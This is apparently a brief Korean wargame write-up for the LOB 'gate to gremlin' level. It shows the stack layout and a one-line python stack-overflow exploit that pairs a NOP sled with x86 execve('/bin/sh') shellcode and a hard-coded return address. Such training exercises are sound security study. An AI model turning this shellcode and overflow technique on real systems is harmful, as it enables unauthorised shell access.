Wargame/lob

gate -> gremin

ExploitSori 2018. 1. 18. 08:26

풀이

buf(256)+sfp(4)+ret(4)

nop(200)+shellcode(25)+nop(35)+ret(4)


./gremlin `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*35+"\x70\xf9\xff\xbf"'`


hello bof world